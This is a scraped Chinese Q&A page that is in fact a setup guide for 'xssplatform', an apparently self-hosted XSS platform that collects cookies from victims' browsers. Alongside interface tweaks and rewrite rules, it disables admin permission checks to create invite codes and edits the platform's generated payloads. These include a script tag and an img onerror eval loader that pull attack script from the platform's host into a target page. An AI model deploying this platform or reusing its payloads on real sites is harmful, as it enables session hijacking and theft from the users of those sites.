當前位置:首頁 » 操作系統 » xsser源碼

xsser源碼

發布時間: 2022-11-02 18:44:07

php怎麼處理boundary

需要修改的地方比較多,目前已基本可用,還在學習摸索中。。。

1、將xssplatform.sql中的xsser.me/修改為實際使用的URL,如localhost:6666/xss/

或者導入以後,再進入資料庫執行語句修改域名為自己的。

UPDATE oc_mole SET
code=REPLACE(code,'http://xsser.me','http://yourdomain/xss』)
2、修改themes\default\templates\register.html中的提交按鈕的源碼為:

[html] view plain
行53
<input id="btnRegister" type="button" onclick="Register()" value="提交注冊" />
修改為
<input id="btnRegister" type="submit" value="提交注冊" />

3、邀請碼的生成
[html] view plain
(1)將文件source\user.php第10行和50行的許可權控制注釋掉
//if($user->userId<=0) ShowError('未登錄或已超時',$url['login'],'重新登錄');
//if($user->adminLevel<=0) ShowError('沒有操作許可權',URL_ROOT.'/index.php?do=user&act=invite');
然後訪問/index.php?do=user&act=invite即可生成驗證碼
(2)注冊個用戶test,進入資料庫,將該用戶的adminLevel修改為1,然後去掉(1)中添加到注釋;並在第15行case 'invite':處添加許可權控制:
if($user->adminLevel<=0) ShowError('沒有操作許可權',URL_ROOT.'/index.php');
(3)或者開放普通注冊許可權,修改文件/config.php的第18行
$config['register']='invite'; //normal,正常;invite,只允許邀請注冊;close,關閉注冊功能

4、刪除cookie
[html] view plain
修改文件themes\default\templates\project_view.html中的Delete()和MultiDelete()函數,將其中post的URL修改為
'/xss/index.php?do=project&act=delcontent&r=',即根據實際的伺服器路徑,在前面添加'/xss'

5、參考http://zone.wooyun.org/content/4355修改文件source\class\user.class.php
[html] view plain
行 74
$this->db->Execute("UPDATE ".$this->tbUser." SET loginTime='".time()."'");
修改為
$this->db->Execute("UPDATE ".$this->tbUser." SET loginTime='".time()."' where id={$row['id']}");

6、去掉xss URL中的time()動態值,縮短xss URL的長度(不知會不會有啥影響);

去掉使用提示中的</textarea>'\">

[html] view plain
文件source/project.php中的修改:

//$codeurl=URL_ROOT."/{$project[urlKey]}?".time();
$codeurl=URL_ROOT."/{$project[urlKey]}";

//$scriptShow1=StripStr("<textarea>'"<script src=".URL_ROOT."/{$project[urlKey]}?".time()."></script>");
$scriptShow1=StripStr("<script src=".URL_ROOT."/{$project[urlKey]}></script>");

//$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}?".'"+Math.random();(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';
//$scriptShow2=StripStr("</textarea>'\"><img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//>");
$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}".'";(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';
$scriptShow2=StripStr("<img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//>");

7、登錄頁面,回車登錄;載入完頁面後,自動將游標定位在user輸入框

[html] view plain
文件themes/default/templates/login.html的修改:

<!-- <input type="submit" value="登錄" onclick="Login()"> -->
<input type="submit" value="登錄" onclick="Login()">

在body的最後添加:

<!-- 頁面載入完成後,將游標定位到user輸入框 -->
<script>document.getElementById('user').focus();</script>

8、修改提示頁面跳轉時間為500ms

[html] view plain
文件themes/default/templates/notice.html:
行11
setTimeout("location.href='{$notice.turnto}'",3000);
修改為
setTimeout("location.href='{$notice.turnto}'",500);

10、創建項目頁面,自動將游標置於項目名稱處

[html] view plain
themes/default/templates/project_create.html
行55,添加
<script>document.getElementById('title').focus();</script>

11、rewrite規則

[html] view plain
在web根目錄下建立.htaccess偽靜態文件(僅針對Apache)

RewriteEngine On
RewriteRule ^([0-9a-zA-Z]{6})$ /xss/index.php?do=code&urlKey=$1 [L]
RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$ /xss/index.php?do=do&auth=$1&domain=$3 [L]
RewriteRule ^register/(.*?)$ /xss/index.php?do=register&key=$1 [L]
RewriteRule ^register-validate/(.*?)$ /xss/index.php?do=register&act=validate&key=$1 [L]

熱點內容
kindeditor上傳圖片絕對路徑 發布:2025-05-14 01:06:27 瀏覽:275
廣數g96編程實例 發布:2025-05-14 01:01:56 瀏覽:911
安卓手機如何做一個小程序 發布:2025-05-14 01:01:51 瀏覽:968
linux怎麼訪問外網 發布:2025-05-14 01:00:24 瀏覽:952
玩dnf什麼配置不卡卡 發布:2025-05-14 00:57:02 瀏覽:806
android優秀項目源碼 發布:2025-05-14 00:54:58 瀏覽:205
dell伺服器怎麼裝系統 發布:2025-05-14 00:50:52 瀏覽:593
csgo怎麼進日本伺服器 發布:2025-05-14 00:39:18 瀏覽:747
ip查伺服器商家 發布:2025-05-14 00:33:37 瀏覽:212
雲伺服器布 發布:2025-05-14 00:27:55 瀏覽:78